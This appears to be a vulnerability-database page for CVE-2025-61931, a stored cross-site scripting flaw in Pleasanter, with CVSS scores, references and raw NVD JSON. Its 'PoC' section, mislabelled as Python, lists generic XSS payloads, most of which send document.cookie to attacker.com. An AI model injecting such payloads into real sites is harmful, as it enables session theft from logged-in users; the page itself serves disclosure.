CVE-2025-61931

Description

Pleasanter contains a stored cross-site scripting vulnerability in Body, Description and Comments, which allows an attacker to execute an arbitrary script in a logged-in user's web browser.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Pleasanter < 1.3.71.0

Pleasanter < 1.4.4.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Stored XSS Payload for CVE-2025-61931 -->
<!-- Inject in Body, Description or Comments field -->

<!-- Basic script injection -->
<script>alert('XSS');</script>

<!-- Cookie stealing payload -->
<script>fetch('https://attacker.com/steal?cookie='+document.cookie);</script>

<!-- Image tag-based bypass -->
<img src=x onerror="fetch('https://attacker.com/log?data='+document.cookie)">

<!-- SVG-based payload -->
<svg/onload=fetch('https://attacker.com/steal?cookie='+btoa(document.cookie))>

<!-- Event handler injection -->
<body onload="fetch('https://attacker.com/steal?cookie='+document.cookie)">

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-61931
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-61931
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-61931/
[4] VulDB https://vuldb.com/cve/CVE-2025-61931
[5] https://jvn.jp/en/jp/JVN20611740/
[6] https://pleasanter.org/archives/vulnerability-update-20251024

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-61931", "sourceIdentifier": "[email protected]", "published": "2025-10-24T06:15:35.780", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Pleasanter contains a stored cross-site scripting vulnerability in Body, Description and Comments, which allows an attacker to execute an arbitrary script in a logged-in user's web browser."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://jvn.jp/en/jp/JVN20611740/", "source": "[email protected]"}, {"url": "https://pleasanter.org/archives/vulnerability-update-20251024", "source": "[email protected]"}]}}